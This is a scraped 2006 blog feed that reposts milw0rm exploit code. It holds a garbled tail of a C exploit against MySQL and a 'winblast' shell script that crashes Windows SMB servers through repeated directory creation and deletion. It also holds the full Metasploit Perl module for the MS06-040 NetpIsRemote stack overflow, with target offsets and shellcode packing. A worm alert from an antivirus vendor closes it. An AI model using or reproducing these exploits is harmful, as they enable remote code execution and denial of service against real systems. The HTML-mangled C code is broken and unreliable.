{&lt;br/&gt;      for (i = 0; i &lt; i =" 0;" f =" (unsigned" fdest =" fd;" ret =" recv"&gt; Client\n");&lt;br/&gt;  if (hexdump)&lt;br/&gt;    {&lt;br/&gt;      for (i = 0; i &lt; i =" 0;" f =" (unsigned" ret=" send(c," thd="0x8b1b338)\n\" fdest =" 0;" port =" 3306;" shell =" 1;" force_table =" 0;" user =" NULL;" pass =" NULL;" host =" NULL;" socket =" strdup" opterr =" 0;" c =" getopt" socket =" (char" force_table =" 1;" tbl =" (int)" tbl="atoi(" thd =" (int)" user =" (char" pass =" (char" port =" atoi" host =" (char" shell =" 0;" hexdump =" 1;" tbl =" thd" conn =" mysql_init" ret =" mysql_real_connect" fd =" conn-"&gt;net.fd;&lt;br/&gt;&lt;br/&gt;  if (shell)&lt;br/&gt;    {&lt;br/&gt;      d = 2;&lt;br/&gt;      sendit (buf1, fdest, -1);&lt;br/&gt;      d = 3;&lt;br/&gt;      sendit (buf1, fdest, -1);&lt;br/&gt;      d = 3;&lt;br/&gt;      sendit (buf1, fdest, -1);&lt;br/&gt;    }&lt;br/&gt;  else&lt;br/&gt;    {&lt;br/&gt;      int l;&lt;br/&gt;      d = 3;&lt;br/&gt;      for (l = 0; l &lt;&gt; {&lt;br/&gt;   sendit (buf1, fdest, l);&lt;br/&gt; }&lt;br/&gt;    }&lt;br/&gt;  mysql_close (conn);&lt;br/&gt;&lt;br/&gt;  exit (0);&lt;br/&gt;}&lt;br/&gt;&lt;br/&gt;// milw0rm.com [2006-05-02]&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115796103809135027?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.milw0rm.com/exploits/1741' title='MySql  Memory Leak &amp; MySql remote'/><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115796103809135027/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115796103809135027&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115796103809135027'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115796103809135027'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/mysql-memory-leak-mysql-remote.html' title='MySql  Memory Leak &amp; MySql remote'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115796023899520568</id><published>2006-09-11T14:33:00.000+07:00</published><updated>2006-09-11T14:37:23.140+07:00</updated><title type='text'>Winblast WinXP &amp; Win2003</title><content type='html'>#!/bin/sh&lt;br/&gt;# winblast v3 - DoS on WinXP, Win2003Srv&lt;br/&gt;# 2003-12-04 Steve Ladjabi&lt;br/&gt;# &lt;br/&gt;# I've encountered a strange problem mounting a Windows server share.&lt;br/&gt;# My setup: Debian Linux, smbmount 3.0.0beta2 and Windows 2003 Server.&lt;br/&gt;# &lt;br/&gt;# When the client creates and deletes a lot of files on the server, the&lt;br/&gt;# server suddenly ceases serving, i.e. you can not access files nor list&lt;br/&gt;# directory contents any more.&lt;br/&gt;# Example:&lt;br/&gt;# knoppix:/mnt # ll /mnt/test&lt;br/&gt;# ls: /mnt/test: Cannot allocate memory&lt;br/&gt;# &lt;br/&gt;# The only way to get the server working again is to reboot it. Rebooting&lt;br/&gt;# the client does not help.&lt;br/&gt;# &lt;br/&gt;# If you want to try for yourself, check this shell script. The script will&lt;br/&gt;# create 1000 directories and then takes turns deleting and re-creating&lt;br/&gt;# them. There will be no more than those 1000 directories at any time.&lt;br/&gt;# After having created (and deleted) 3.5 millions directories the server&lt;br/&gt;# denies access to the share.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;count=0&lt;br/&gt;&lt;br/&gt;# using 'pathcount' directories&lt;br/&gt;pathcount=1000&lt;br/&gt;&lt;br/&gt;echo running \'winblast v3\' with $pathcount files in loop ...&lt;br/&gt;&lt;br/&gt;while [ 1 ]; do&lt;br/&gt;p=$((pathcount*2-1))&lt;br/&gt;stop=$((pathcount-1))&lt;br/&gt;while [ "$p" != "$stop" ]; do&lt;br/&gt;dirname=wbst$p&lt;br/&gt;# delete old directory if it exists and exit on any error&lt;br/&gt;if [ -d $dirname ]; then&lt;br/&gt;rmdir $dirname || exit 3&lt;br/&gt;fi;&lt;br/&gt;&lt;br/&gt;# generating directory and exit on any error&lt;br/&gt;mkdir $dirname || exit 1&lt;br/&gt;p=$((p-1))&lt;br/&gt;count=$((count+1))&lt;br/&gt;done;&lt;br/&gt;echo $count directories generated ...&lt;br/&gt;done;&lt;br/&gt;#-- end --&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;# milw0rm.com [2004-01-25]&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115796023899520568?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.milw0rm.com/exploits/2162' title='Winblast WinXP &amp; Win2003'/><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115796023899520568/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115796023899520568&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115796023899520568'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115796023899520568'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/winblast-winxp-win2003.html' title='Winblast WinXP &amp; Win2003'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115795982091705082</id><published>2006-09-11T14:26:00.000+07:00</published><updated>2006-09-11T14:30:21.426+07:00</updated><title type='text'>Windows Netplsremote Exploite</title><content type='html'>##&lt;br/&gt;# This file is part of the Metasploit Framework and may be redistributed&lt;br/&gt;# according to the licenses defined in the Authors field below. In the&lt;br/&gt;# case of an unknown or missing license, this file defaults to the same&lt;br/&gt;# license as the core Framework (dual GPLv2 and Artistic). The latest&lt;br/&gt;# version of the Framework can always be obtained from metasploit.com.&lt;br/&gt;##&lt;br/&gt;&lt;br/&gt;package Msf::Exploit::netapi_ms06_040;&lt;br/&gt;use base "Msf::Exploit";&lt;br/&gt;use strict;&lt;br/&gt;&lt;br/&gt;use Pex::DCERPC;&lt;br/&gt;use Pex::NDR;&lt;br/&gt;&lt;br/&gt;my $advanced = {&lt;br/&gt; 'FragSize'    =&gt; [ 256, 'The DCERPC fragment size' ],&lt;br/&gt; 'BindEvasion' =&gt; [ 0,   'IDS Evasion of the bind request' ],&lt;br/&gt; 'DirectSMB'   =&gt; [ 0,   'Use direct SMB (445/tcp)' ],&lt;br/&gt;  };&lt;br/&gt;&lt;br/&gt;my $info = {&lt;br/&gt; 'Name'    =&gt; 'Microsoft NetpIsRemote() MSO6-040 Overflow',&lt;br/&gt; 'Version' =&gt; '$Revision: 3715 $',&lt;br/&gt; 'Authors' =&gt;&lt;br/&gt;   [&lt;br/&gt;  'H D Moore &lt;hdm com=""&gt;',&lt;br/&gt;   ],&lt;br/&gt;&lt;br/&gt; 'Arch' =&gt; ['x86'],&lt;br/&gt; 'OS'   =&gt; [ 'win32', 'win2000', 'winxp', 'win2003' ],&lt;br/&gt; 'Priv' =&gt; 1,&lt;br/&gt;&lt;br/&gt; 'AutoOpts' =&gt; { 'EXITFUNC' =&gt; 'thread' },&lt;br/&gt; &lt;br/&gt; 'UserOpts' =&gt;&lt;br/&gt;   {&lt;br/&gt;  'RHOST' =&gt; [ 1, 'ADDR', 'The target address' ],&lt;br/&gt;&lt;br/&gt;  # SMB connection options&lt;br/&gt;  'SMBUSER' =&gt; [ 0, 'DATA', 'The SMB username to connect with', '' ],&lt;br/&gt;  'SMBPASS' =&gt; [ 0, 'DATA', 'The password for specified SMB username', '' ],&lt;br/&gt;  'SMBDOM'  =&gt; [ 0, 'DATA', 'The domain for specified SMB username', '' ],&lt;br/&gt;   },&lt;br/&gt;&lt;br/&gt; 'Payload' =&gt;&lt;br/&gt;   {&lt;br/&gt;    # Technically we can use more space than this, but by limiting it&lt;br/&gt;  # to 370 bytes we can use the same request for all Windows SPs.&lt;br/&gt;  'Space'    =&gt; 370,&lt;br/&gt;  &lt;br/&gt;  'BadChars' =&gt; "\x00\x0a\x0d\x5c\x5f\x2f\x2e",&lt;br/&gt;  'Keys'     =&gt; ['+ws2ord'],&lt;br/&gt;&lt;br/&gt;  # sub esp, 4097 + inc esp makes stack happy&lt;br/&gt;  'Prepend' =&gt; "\x81\xc4\xff\xef\xff\xff\x44",&lt;br/&gt;   },&lt;br/&gt;&lt;br/&gt; 'Description' =&gt; Pex::Text::Freeform(&lt;br/&gt;  qq{&lt;br/&gt;        This module exploits a stack overflow in the NetApi32 NetpIsRemote() function&lt;br/&gt;  using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that&lt;br/&gt;  other RPC calls could be used to exploit this service. This exploit will result in&lt;br/&gt;  a denial of service on on Windows XP SP2 or Windows 2003 SP1. A failed exploit attempt&lt;br/&gt;  will likely result in a complete reboot on Windows 2000 and the termination of all &lt;br/&gt;  SMB-related services on Windows XP. The default target for this exploit should succeed&lt;br/&gt;  on Windows NT 4.0, Windows 2000 SP0-SP4+, and Windows XP SP0-SP1.&lt;br/&gt;   }&lt;br/&gt;   ),&lt;br/&gt;&lt;br/&gt; 'Refs' =&gt;&lt;br/&gt;   [&lt;br/&gt;  [ 'BID', '19409' ],&lt;br/&gt;  [ 'CVE', '2006-3439' ],&lt;br/&gt;  [ 'MSB', 'MS06-040' ],&lt;br/&gt;   ],&lt;br/&gt;&lt;br/&gt; 'DefaultTarget' =&gt; 0,&lt;br/&gt; 'Targets'       =&gt;&lt;br/&gt;   [&lt;br/&gt;    [ '(wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)' ],&lt;br/&gt;  [ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4', 1000, 0x00020804 ],&lt;br/&gt;  [ '(wcscpy) Windows XP SP0/SP1', 612, 0x00020804 ],&lt;br/&gt;  [ '(stack)  Windows XP SP1 English', 656, 680, 0x71ab1d54], # jmp esp @ ws2_32.dll&lt;br/&gt;   ],&lt;br/&gt;&lt;br/&gt; 'Keys' =&gt; ['srvsvc'],&lt;br/&gt;&lt;br/&gt; 'DisclosureDate' =&gt; 'Aug 08 2006',&lt;br/&gt;  };&lt;br/&gt;&lt;br/&gt;sub new {&lt;br/&gt; my ($class) = @_;&lt;br/&gt; my $self =&lt;br/&gt;   $class-&gt;SUPER::new( { 'Info' =&gt; $info, 'Advanced' =&gt; $advanced }, @_ );&lt;br/&gt; return ($self);&lt;br/&gt;}&lt;br/&gt;&lt;br/&gt;sub Exploit {&lt;br/&gt; my ($self)      = @_;&lt;br/&gt; my $target_host = $self-&gt;GetVar('RHOST');&lt;br/&gt; my $target_port = $self-&gt;GetVar('RPORT');&lt;br/&gt; my $target_idx  = $self-&gt;GetVar('TARGET');&lt;br/&gt; my $shellcode   = $self-&gt;GetVar('EncodedPayload')-&gt;Payload;&lt;br/&gt; my $target_name = '*SMBSERVER';&lt;br/&gt;&lt;br/&gt; my $FragSize = $self-&gt;GetVar('FragSize') || 256;&lt;br/&gt; my $target   = $self-&gt;Targets-&gt;[$target_idx];&lt;br/&gt;&lt;br/&gt; if (!$self-&gt;InitNops(128)) {&lt;br/&gt;  $self-&gt;PrintLine("Could not initialize the nop module");&lt;br/&gt;  return;&lt;br/&gt; }&lt;br/&gt;&lt;br/&gt; my ( $res, $rpc );&lt;br/&gt;&lt;br/&gt; my $pipe    = '\BROWSER';&lt;br/&gt; my $uuid    = '4b324fc8-1670-01d3-1278-5a47bf6ee188';&lt;br/&gt; my $version = '3.0';&lt;br/&gt;&lt;br/&gt; my $handle = Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host, $pipe );&lt;br/&gt;&lt;br/&gt; my $dce = Pex::DCERPC-&gt;new(&lt;br/&gt;  'handle'      =&gt; $handle,&lt;br/&gt;  'username'    =&gt; $self-&gt;GetVar('SMBUSER'),&lt;br/&gt;  'password'    =&gt; $self-&gt;GetVar('SMBPASS'),&lt;br/&gt;  'domain'      =&gt; $self-&gt;GetVar('SMBDOM'),&lt;br/&gt;  'fragsize'    =&gt; $self-&gt;GetVar('FragSize'),&lt;br/&gt;  'bindevasion' =&gt; $self-&gt;GetVar('BindEvasion'),&lt;br/&gt;  'directsmb'   =&gt; $self-&gt;GetVar('DirectSMB'),&lt;br/&gt;   );&lt;br/&gt;&lt;br/&gt; if ( !$dce ) {&lt;br/&gt;  $self-&gt;PrintLine("[*] Could not bind to $handle");&lt;br/&gt;  return;&lt;br/&gt; }&lt;br/&gt;&lt;br/&gt; my $smb = $dce-&gt;{'_handles'}{$handle}{'connection'};&lt;br/&gt; &lt;br/&gt; if (! $smb) {&lt;br/&gt;  $self-&gt;PrintLine("[*] Could not establish SMB session");&lt;br/&gt;  return;&lt;br/&gt; }&lt;br/&gt;&lt;br/&gt;    if ( $target-&gt;[0] =~ /Automatic/ ) {&lt;br/&gt;        if ( $smb-&gt;PeerNativeOS eq 'Windows 5.0' ) {&lt;br/&gt;            $target = $self-&gt;Targets-&gt;[1];&lt;br/&gt;            $self-&gt;PrintLine('[*] Detected a Windows 2000 target');&lt;br/&gt;        }&lt;br/&gt;        elsif ( $smb-&gt;PeerNativeOS eq 'Windows 5.1' ) {&lt;br/&gt;            $target = $self-&gt;Targets-&gt;[2];&lt;br/&gt;            $self-&gt;PrintLine('[*] Detected a Windows XP target');&lt;br/&gt;   $self-&gt;PrintLine('[*] This will not work on SP2!');&lt;br/&gt;        }&lt;br/&gt;        elsif ( $smb-&gt;PeerNativeOS eq 'Windows 4.0' ) {&lt;br/&gt;            $target = $self-&gt;Targets-&gt;[1];&lt;br/&gt;            $self-&gt;PrintLine('[*] Detected a Windows NT 4.0 target');&lt;br/&gt;   $self-&gt;PrintLine('[*] Please email us with the results!');&lt;br/&gt;        }  &lt;br/&gt;        else {&lt;br/&gt;            $self-&gt;PrintLine('[*] No target available for ' . $smb-&gt;PeerNativeOS() );&lt;br/&gt;            return;&lt;br/&gt;        }&lt;br/&gt;    }&lt;br/&gt;  &lt;br/&gt; #&lt;br/&gt; #  /* Function 0x1f at 0x767e912c */&lt;br/&gt; #  long function_1f (&lt;br/&gt; #    [in] [unique] [string] wchar_t * arg_00,&lt;br/&gt; #    [in] [string] wchar_t * arg_01,&lt;br/&gt; #    [out] [size_is(arg_03)] char * arg_02,&lt;br/&gt; #    [in] [range(0, 64000)] long arg_03,&lt;br/&gt; #    [in] [string] wchar_t * arg_04,&lt;br/&gt; #    [in,out] long * arg_05,&lt;br/&gt; #    [in] long arg_06&lt;br/&gt; #  );&lt;br/&gt; #&lt;br/&gt; &lt;br/&gt; my $stub;&lt;br/&gt;&lt;br/&gt; #&lt;br/&gt; # Use the wcscpy() method on NT 4.0 / 2000&lt;br/&gt; # &lt;br/&gt; if ($target-&gt;[0] =~ /2000/ &amp;&amp;amp; ! $target-&gt;[3]) {&lt;br/&gt; &lt;br/&gt;  # Pad our shellcode out with nops&lt;br/&gt;  $shellcode = $self-&gt;MakeNops($target-&gt;[1] - length($shellcode)) . $shellcode;&lt;br/&gt; &lt;br/&gt;  # Stick it into a path&lt;br/&gt;  my $path =  $shellcode . (pack('V', $target-&gt;[2]) x 16) . "\x00\x00";&lt;br/&gt;&lt;br/&gt;  # Package that into a stub&lt;br/&gt;  $stub =&lt;br/&gt;   Pex::NDR::Long(int(rand(0xffffffff))).&lt;br/&gt;   Pex::NDR::UnicodeConformantVaryingString('').&lt;br/&gt;   Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path).&lt;br/&gt;   Pex::NDR::Long(int(rand(250)+1)).&lt;br/&gt;   Pex::NDR::UnicodeConformantVaryingStringPreBuilt( "\xeb\x02" . "\x00\x00").&lt;br/&gt;   Pex::NDR::Long(int(rand(250)+1)).&lt;br/&gt;   Pex::NDR::Long(0); &lt;br/&gt; #&lt;br/&gt; # Use the wcscpy() method on XP SP0/SP1&lt;br/&gt; # &lt;br/&gt; } elsif ($target-&gt;[0] =~ /XP/ &amp;&amp;amp; ! $target-&gt;[3]) {&lt;br/&gt;&lt;br/&gt;  # XP SP0/SP1&lt;br/&gt;  my $path =  &lt;br/&gt;   # Shellcode (corrupted ~420 bytes in)&lt;br/&gt;   $shellcode.&lt;br/&gt;   # Padding&lt;br/&gt;   Pex::Text::AlphaNumText($target-&gt;[1] - length($shellcode)).&lt;br/&gt;   # Land 6 bytes in to bypass garbage (XP SP0)&lt;br/&gt;   pack('V', $target-&gt;[2] + 6).&lt;br/&gt;   # Padding&lt;br/&gt;   Pex::Text::AlphaNumText(8).&lt;br/&gt;   # Address to write our shellcode (XP SP0)&lt;br/&gt;   pack('V', $target-&gt;[2]).&lt;br/&gt;   # Padding (required)&lt;br/&gt;   Pex::Text::AlphaNumText(32).&lt;br/&gt;   # Jump straight to shellcode (XP SP1)&lt;br/&gt;   pack('V', $target-&gt;[2]).&lt;br/&gt;   # Padding&lt;br/&gt;   Pex::Text::AlphaNumText(8).      &lt;br/&gt;   # Address to write our shellcode (XP SP1)&lt;br/&gt;   pack('V', $target-&gt;[2]).&lt;br/&gt;   # Padding (required)&lt;br/&gt;   Pex::Text::AlphaNumText(32).   &lt;br/&gt;   # Terminate&lt;br/&gt;   "\x00\x00";&lt;br/&gt;&lt;br/&gt;  # Package that into a stub&lt;br/&gt;  $stub =&lt;br/&gt;   Pex::NDR::Long(int(rand(0xffffffff))).&lt;br/&gt;   Pex::NDR::UnicodeConformantVaryingString('').&lt;br/&gt;   Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path).&lt;br/&gt;   Pex::NDR::Long(int(rand(250)+1)).&lt;br/&gt;   Pex::NDR::UnicodeConformantVaryingString('').&lt;br/&gt;   Pex::NDR::Long(int(rand(250)+1)).&lt;br/&gt;   Pex::NDR::Long(0);&lt;br/&gt;&lt;br/&gt; #&lt;br/&gt; # Use the stack overflow method if a return address is set&lt;br/&gt; #&lt;br/&gt; } elsif( $target-&gt;[3]) {&lt;br/&gt;&lt;br/&gt;  my $buff = Pex::Text::AlphaNumText(800);&lt;br/&gt;  substr($buff, 0, length($shellcode), $shellcode);&lt;br/&gt;  substr($buff, $target-&gt;[1], 4, pack('V', $target-&gt;[3]));&lt;br/&gt;  substr($buff, $target-&gt;[2], 5, "\xe9" . pack('V', ($target-&gt;[1] + 5) * -1 ));&lt;br/&gt;  &lt;br/&gt;  my $path = "\\\x00\\\x00". $buff. "\x00\x00";&lt;br/&gt;&lt;br/&gt;  # Package that into a stub&lt;br/&gt;  $stub =&lt;br/&gt;   Pex::NDR::Long(int(rand(0xffffffff))).&lt;br/&gt;   Pex::NDR::UnicodeConformantVaryingString('').&lt;br/&gt;   Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path).&lt;br/&gt;   Pex::NDR::Long(int(rand(250)+1)).&lt;br/&gt;   Pex::NDR::UnicodeConformantVaryingString('').&lt;br/&gt;   Pex::NDR::Long(int(rand(250)+1)).&lt;br/&gt;   Pex::NDR::Long(0);&lt;br/&gt; } else {&lt;br/&gt;  $self-&gt;PrintLine("This target is not currently supported");&lt;br/&gt;  return;&lt;br/&gt; }&lt;br/&gt;&lt;br/&gt;&lt;br/&gt; $self-&gt;PrintLine("[*] Sending request...");&lt;br/&gt; &lt;br/&gt; # Function 0x1f is not the only way to exploit this :-)&lt;br/&gt; my @response = $dce-&gt;request( $handle, 0x1f, $stub );&lt;br/&gt; &lt;br/&gt; if ( length($dce-&gt;{'response'}-&gt;{'StubData'}) &gt; 0) {&lt;br/&gt;  $self-&gt;PrintLine("[*] The server rejected it, trying again...");&lt;br/&gt;  @response = $dce-&gt;request( $handle, 0x1f, $stub );&lt;br/&gt; }&lt;br/&gt; &lt;br/&gt; if ( length($dce-&gt;{'response'}-&gt;{'StubData'}) &gt; 0) {&lt;br/&gt;  $self-&gt;PrintLine("[*] This system may be patched or running Windows XP SP1 or SP2");&lt;br/&gt; }&lt;br/&gt; &lt;br/&gt; if (@response) {&lt;br/&gt;  $self-&gt;PrintLine('[*] RPC server responded with:');&lt;br/&gt;  foreach my $line (@response) {&lt;br/&gt;   $self-&gt;PrintLine( '[*] ' . $line );&lt;br/&gt;  }&lt;br/&gt; }&lt;br/&gt;&lt;br/&gt; return;&lt;br/&gt;}&lt;br/&gt;&lt;br/&gt;1;&lt;br/&gt;&lt;br/&gt;# milw0rm.com [2006-08-10]&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115795982091705082?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://naditya.blogspot.com/2006/09/raidenhttpd-exploit.html' title='Windows Netplsremote Exploite'/><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115795982091705082/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115795982091705082&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115795982091705082'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115795982091705082'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/windows-netplsremote-exploite.html' title='Windows Netplsremote Exploite'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115795887939889684</id><published>2006-09-11T13:59:00.000+07:00</published><updated>2006-09-18T08:41:09.716+07:00</updated><title type='text'>Virus Emergency Response</title><content type='html'>A new variant of W32/Stration worm is heavily spreading in the Internet. We have received a lot of reports of infection of W32/Stration.G worm.&lt;br /&gt;&lt;br /&gt;The infected email contains a message similar to the other variants of W32/Stration worm. The 'From' email address in this variant will be one of the following:&lt;br /&gt;&lt;br /&gt;Greenpxjzx@fastmail.fm&lt;br /&gt;Moore2005@mail.com&lt;br /&gt;Susan1952@yahoo.com&lt;br /&gt;Jennifer_ukawo@mail.com&lt;br /&gt;&lt;br /&gt;The worm carries a double extension attachment. The first extension will be MSG, DAT, ELM, LOG or TXT and the second extension BAT, CMD, EXE, PIF or SCR. In some cases there may be a lot of blank spaces in between the first and the second extension.&lt;br /&gt;&lt;br /&gt;Upon execution the worm tries to mail itself to all the available email addresses in the infected system. The worm also alters the hosts file of the infected system to deny virus signature updates of some antivirus software.&lt;br /&gt;&lt;br /&gt;You can learn more about this worm at:&lt;br /&gt;&lt;br /&gt;http://www.protectorplus.com/virusinfo/worms/strationg.htm&lt;br /&gt;&lt;br /&gt;We have also received many infection reports of another variant, W32/Stration.H worm. &lt;br /&gt;&lt;br /&gt;You can learn more about W32/Stration.H worm at:&lt;br /&gt;&lt;br /&gt;http://www.protectorplus.com/virusinfo/worms/strationh.htm&lt;br /&gt;&lt;br /&gt;Instructions to remove the W32/Stration.G and W32/Stration.H worms from your computer:&lt;br /&gt;&lt;br /&gt;Protector Plus is updated to detect and remove the W32/Stration.G and W32/Stration.H worms. An emergency virus database update to detect and remove these worms is available to the users of Protector Plus. To download this update from our web site, right click on Protector Plus icon from the system tray then select 'Update Virus Database now!' from the menu. Others can download a 30 day, fully functional evaluation copy of Protector Plus from:&lt;br /&gt;&lt;br /&gt;http://www.protectorplus.com/download/downloadnow.htm&lt;br /&gt;&lt;br /&gt;The evaluation copy will detect and remove these worms and also protects against all other known viruses, worms, spyware, trojan attacks, adware, backdoors, exploits, password stealers, dialers, keyloggers, hacktools, rootkits, constructors, binders and other potential security threats.&lt;br /&gt;&lt;br /&gt;Order Protector Plus and save 100% on SpamChoke:&lt;br /&gt;&lt;br /&gt;Order Protector Plus antivirus software for $29.95 and save 100% on SpamChoke antispam software. SpamChoke keeps your Inbox free of spam emails.&lt;br /&gt;&lt;br /&gt;You can order Protector Plus at:&lt;br /&gt;&lt;br /&gt;http://www.protectorplus.com/order/order.htm&lt;br /&gt;&lt;br /&gt;Best Buy:&lt;br /&gt;&lt;br /&gt;Protector Plus Antivirus for Windows - Enterprise Edition Get Virus and Spam  protection for 1 Server and 5 Desktops for US$ 294.95. This is an ideal package for small and medium businesses. &lt;br /&gt;&lt;br /&gt;Follow the link to know more about it:&lt;br /&gt;&lt;br /&gt;http://www.protectorplus.com/order/eedition.htm&lt;br /&gt;&lt;br /&gt;You are welcome to use this information to help any one who might need or benefit from it. If you have questions or issues in the usage of Protector Plus, please write to support@protectorplus.com .&lt;br /&gt;&lt;br /&gt;The reason this alert is being sent to you is because either you or someone acting on your behalf, subscribed to the Virus Alert Mailing List maintained by us.&lt;br /&gt;&lt;br /&gt;If you do not wish to receive further alerts, please send a return mail to unsub@pspl.com&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
